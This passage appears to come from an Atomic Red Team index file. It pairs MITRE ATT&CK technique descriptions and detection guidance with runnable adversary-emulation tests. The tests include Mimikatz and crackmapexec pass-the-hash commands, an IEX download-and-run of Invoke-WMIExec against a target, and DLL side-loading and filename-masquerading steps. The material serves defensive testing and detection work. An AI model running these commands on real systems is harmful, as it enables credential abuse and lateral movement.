execute.txt \"execute.txt \"\n\n3. ./execute.txt\\ \n" name: manual - name: Space After Filename auto_generated_guid: b95ce2eb-a093-4cd8-938d-5258cef656ea description: 'Space after filename. ' supported_platforms: - macos - linux executor: name: sh command: | mkdir -p /tmp/atomic-test-T1036.006 cd /tmp/atomic-test-T1036.006 mkdir -p 'testdirwithspaceend ' [ "$(uname)" = 'FreeBSD' ] && /bin/echo "#\!/bin/sh" > "testdirwithspaceend /init " && echo 'echo "print(\"running T1035.006 with space after filename to masquerade init\")" | python3.9' >> "testdirwithspaceend /init " && echo "exit" >> "testdirwithspaceend /init " || /usr/bin/echo -e "%d\na\n#!/usr/bin/perl\nprint \"running T1035.006 with space after filename to masquerade init\\n\";\nqx/cp \/usr\/bin\/perl 'init '/;\nqx/'.\/init ' -e 'sleep 5'/;\n.\nwq\n" | ed 'testdirwithspaceend /init ' >/dev/null chmod +x 'testdirwithspaceend /init ' './testdirwithspaceend /init ' cleanup_command: rm -rf /tmp/atomic-test-T1036.006 T1550.002: technique: modified: '2023-07-28T18:24:16.246Z' name: 'Use Alternate Authentication Material: Pass the Hash' description: |- Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Blake Strom, Microsoft 365 Defender - Travis Smith, Tripwire x_mitre_deprecated: false x_mitre_detection: |- Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Active Directory: Active Directory Credential Request' - 'User Account: User Account Authentication' x_mitre_defense_bypassed: - System Access Controls type: attack-pattern id: attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e created: '2020-01-30T16:36:51.184Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1550/002 external_id: T1550.002 - source_name: Stealthbits Overpass-the-Hash description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021. url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1550.002 atomic_tests: - name: Mimikatz Pass the Hash auto_generated_guid: ec23cef9-27d9-46e4-a68d-6f75f7b86908 description: | Note: must dump hashes first [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth) supported_platforms: - windows input_arguments: user_name: description: username type: string default: Administrator ntlm: description: ntlm hash type: string default: cc36cf7a8514893efccd3324464tkg1a domain: description: domain type: string default: "%userdnsdomain%" mimikatz_path: description: mimikatz windows executable type: path default: "%tmp%\\mimikatz\\x64\\mimikatz.exe" dependency_executor_name: powershell dependencies: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" executor: command: '#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}" ' name: command_prompt - name: crackmapexec Pass the Hash auto_generated_guid: eb05b028-16c8-4ad8-adea-6f5b219da9a9 description: 'command execute with crackmapexec ' supported_platforms: - windows input_arguments: user_name: description: username type: string default: Administrator crackmapexec_exe: description: crackmapexec windows executable type: path default: C:\CrackMapExecWin\crackmapexec.exe command: description: command to execute type: string default: whoami ntlm: description: command type: string default: cc36cf7a8514893efccd3324464tkg1a domain: description: domain type: string default: "%userdnsdomain%" dependency_executor_name: powershell dependencies: - description: 'CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe}) ' prereq_command: 'if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe} ' executor: command: "#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}\n" name: command_prompt - name: Invoke-WMIExec Pass the Hash auto_generated_guid: f8757545-b00a-4e4e-8cfb-8cfb961ee713 description: |- Use Invoke-WMIExec to Pass the Hash Note: must dump hashes first [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth) supported_platforms: - windows input_arguments: ntlm: description: ntlm hash type: string default: cc36cf7a8514893efccd3324464tkg1a user_name: description: username type: string default: Administrator command: description: Command to run on target system type: string default: hostname target: description: System to run command on type: string default: "$env:COMPUTERNAME" executor: command: |- [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command} name: powershell T1574.002: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Hijack Execution Flow: DLL Side-Loading' description: |- Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_deprecated: false x_mitre_detection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '2.0' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'Module: Module Load' - 'File: File Creation' x_mitre_defense_bypassed: - Anti-virus - Application Control type: attack-pattern id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b created: '2020-03-13T19:41:37.908Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/002 external_id: T1574.002 - source_name: FireEye DLL Side-Loading description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.' url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1574.002 atomic_tests: - name: DLL Side-Loading using the Notepad++ GUP.exe binary auto_generated_guid: 65526037-7079-44a9-bda1-2cb624838040 description: | GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded. Upon execution, calc.exe will be opened. supported_platforms: - windows input_arguments: process_name: description: Name of the created process type: string default: calculator.exe gup_executable: description: GUP is an open source signed binary used by Notepad++ for software updates type: path default: PathToAtomicsFolder\T1574.002\bin\GUP.exe dependency_executor_name: powershell dependencies: - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable}) ' prereq_command: 'if (Test-Path "#{gup_executable}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{gup_executable}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}" executor: command: '"#{gup_executable}" ' cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1 ' name: command_prompt - name: DLL Side-Loading using the dotnet startup hook environment variable auto_generated_guid: d322cdd7-7d60-46e3-9111-648848da7c02 description: 'Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1) ' supported_platforms: - windows input_arguments: process_name: description: Name of the created process type: string default: calculator.exe preloader_dll: description: library for interfacing with the dotnet framework type: path default: PathToAtomicsFolder\T1574.002\bin\preloader.dll dependency_executor_name: powershell dependencies: - description: ".Net SDK must be installed\n" prereq_command: 'if (Test-Path "C:\Program Files\dotnet\dotnet.exe") {exit 0} else {exit 1} ' get_prereq_command: | winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null echo. - description: 'preloader must exist ' prereq_command: 'if (Test-Path "#{preloader_dll}") {exit 0} else {exit 1} ' get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true" -OutFile "#{preloader_dll}" ' executor: command: | set DOTNET_STARTUP_HOOKS="#{preloader_dll}" dotnet -h > nul echo. cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1 ' name: command_prompt T1216.002: technique: modified: '2024-04-18T23:51:40.464Z' name: SyncAppvPublishingServer description: "Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)\n \nThe SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\\System32` through the command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv)\n\nAdversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001) execution restrictions and evade defensive counter measures by \"living off the land.\"(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation: 7 - appv)\n\nFor example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands may be invoked using:(Citation: 5 - appv)\n\n`SyncAppvPublishingServer.vbs \"n; {PowerShell}\"`" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Shaul Vilkomir-Preisman x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Script: Script Execution' - 'Command: Command Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60 created: '2024-02-06T16:20:41.647Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1216/002 external_id: T1216.002 - source_name: 4 - appv description: John Fokker. (2022, March 17). Suspected DarkHotel APT activity update. Retrieved February 6, 2024. url: https://www.trellix.com/en-ca/about/newsroom/stories/research/suspected-darkhotel-apt-activity-update/ - source_name: 2 - appv description: Microsoft. (2022, November 3). Getting started with App-V for Windows client. Retrieved February 6, 2024. url: https://learn.microsoft.com/en-us/windows/application-management/app-v/appv-getting-started - source_name: 5 - appv description: Nick Landers, Casey Smith. (n.d.). /Syncappvpublishingserver.vbs. Retrieved February 6, 2024. url: https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/ - source_name: 7 - appv description: Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved February 6, 2024. url: https://twitter.com/monoxgas/status/895045566090010624 - source_name: 3 - appv description: 'Raj Chandel. (2022, March 17). Indirect Command Execution: Defense Evasion (T1202). Retrieved February 6, 2024.' url: https://www.hackingarticles.in/indirect-command-execution-defense-evasion-t1202/ - source_name: 1 - appv description: SEONGSU PARK. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved February 6, 2024. url: https://securelist.com/bluenoroff-methods-bypass-motw/108383/ - source_name: 6 - appv description: Strontic. (n.d.). SyncAppvPublishingServer.exe. Retrieved February 6, 2024. url: https://strontic.github.io/xcyclopedia/library/SyncAppvPublishingServer.exe-3C291419F60CDF9C2E4E19AD89944FA3.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1548.006: technique: modified: '2024-04-17T00:02:12.021Z' name: TCC Manipulation description: "Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to execute malicious applications with elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\n\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)\n\nAdversaries may manipulate the TCC database or otherwise abuse the TCC service to execute malicious content. This can be done in various ways, including using privileged system applications to execute malicious payloads or manipulating the database to grant their application TCC permissions. \n\nFor example, adversaries can use Finder, which has FDA permissions by default, to execute malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) while preventing a user prompt. For a system without System Integrity Protection (SIP) enabled, adversaries have also manipulated the operating system to load an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)\n\nAdversaries may also opt to instead inject code (e.g., [Process Injection](https://attack.mitre.org/techniques/T1055)) into targeted applications with the desired TCC permissions.\n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Marina Liang x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS x_mitre_version: '1.0' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Modification' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb created: '2024-03-21T21:10:57.322Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548/006 external_id: T1548.006 - source_name: welivesecurity TCC description: 'Marc-Etienne M.Léveillé. (2022, July 19). I see what you did there: A look at the CloudMensis macOS spyware. Retrieved March 21, 2024.' url: https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/ - source_name: TCC Database description: 'Marina Liang. (2024, April 23). Return of the mac(OS): Transparency, Consent, and Control (TCC) Database Manipulation. Retrieved March 28, 2024.' url: https://interpressecurity.com/resources/return-of-the-macos-tcc/ - source_name: TCC macOS bypass description: Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024. url: https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1055.008: technique: x_mitre_platforms: - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f type: attack-pattern created: '2020-01-14T01:33:19.065Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.008 url: https://attack.mitre.org/techniques/T1055/008 - source_name: PTRACE man url: http://man7.org/linux/man-pages/man2/ptrace.2.html description: Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020. - source_name: Medium Ptrace JUL 2018 url: https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be description: Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020. - source_name: BH Linux Inject url: https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf description: Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020. - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.' source_name: ArtOfMemoryForensics - url: https://www.gnu.org/software/acct/ description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017. source_name: GNU Acct - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017. source_name: RHEL auditd - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017. source_name: Chokepoint preload rootkits modified: '2022-04-25T14:00:00.188Z' name: Ptrace System Calls description: "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Access' - 'Process: Process Modification' x_mitre_defense_bypassed: - Anti-virus - Application control spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1027.007: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4 created: '2022-08-22T20:42:08.498Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1027.007 url: https://attack.mitre.org/techniques/T1027/007 - source_name: Huntress API Hash url: https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection description: 'Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022.' - source_name: BlackHat API Packers url: https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf description: Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022. - source_name: Drakonia HInvoke url: https://dr4k0nia.github.io/dotnet/coding/2022/08/10/HInvoke-and-avoiding-PInvoke.html?s=03 description: drakonia. (2022, August 10). HInvoke and avoiding PInvoke. Retrieved August 22, 2022. - source_name: IRED API Hashing url: https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware description: spotheplanet. (n.d.). Windows API Hashing in Malware. Retrieved August 22, 2022. x_mitre_deprecated: false revoked: false description: |- Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts. API functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing) To avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime. Various methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash) modified: '2022-11-08T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Obfuscated Files or Information: Dynamic API Resolution' x_mitre_detection: '' kill_chain_phases: - phase_name: defense-evasion kill_chain_name: mitre-attack x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Module: Module Load' - 'File: File Metadata' - 'Process: OS API Execution' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1027.007 atomic_tests: - name: Dynamic API Resolution-Ninja-syscall auto_generated_guid: 578025d5-faa9-4f6d-8390-aae739d507e1 description: 'This test calls NtCreateFile via API hashing and dynamic syscall resolution. I have dubbed this particular combination of techniques ''Ninja-syscall''. When successful, a new file named ''hello.log'' will be created in the default user''s temporary folder, which is a common location for a dropper. ' supported_platforms: - windows input_arguments: exe_binary: description: PE binary type: path default: PathToAtomicsFolder\T1027.007\bin\ninja_syscall1.exe dependency_executor_name: powershell dependencies: - description: 'Portable Executable to run must exist at specified location (#{exe_binary}) ' prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.007/bin/ninja_syscall1.exe" -OutFile "#{exe_binary}" executor: command: | Start-Process "#{exe_binary}" Start-Sleep -Seconds 7 if (Test-Path "C:\Users\Default\AppData\Local\Temp\hello.log") { Remove-Item "C:\Users\Default\AppData\Local\Temp\hello.log" -Force; Write-Host "[+] hello.log removed." } cleanup_command: if (Test-Path "C:\Users\Default\AppData\Local\Temp\hello.log") { Remove-Item "C:\Users\Default\AppData\Local\Temp\hello.log" -Force; Write-Host "[+] hello.log removed." } name: powershell elevation_required: true T1055.015: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - ESET object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99 type: attack-pattern created: '2021-11-22T15:02:15.190Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.015 url: https://attack.mitre.org/techniques/T1055/015 - source_name: Microsoft List View Controls url: https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview description: Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022. - source_name: Modexp Windows Process Injection url: https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/ description: 'odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.' - source_name: ESET InvisiMole June 2020 url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.' modified: '2022-05-11T14:00:00.188Z' name: 'Process Injection: ListPlanting' description: "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \n\nConsider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Modification' - 'Process: OS API Execution' 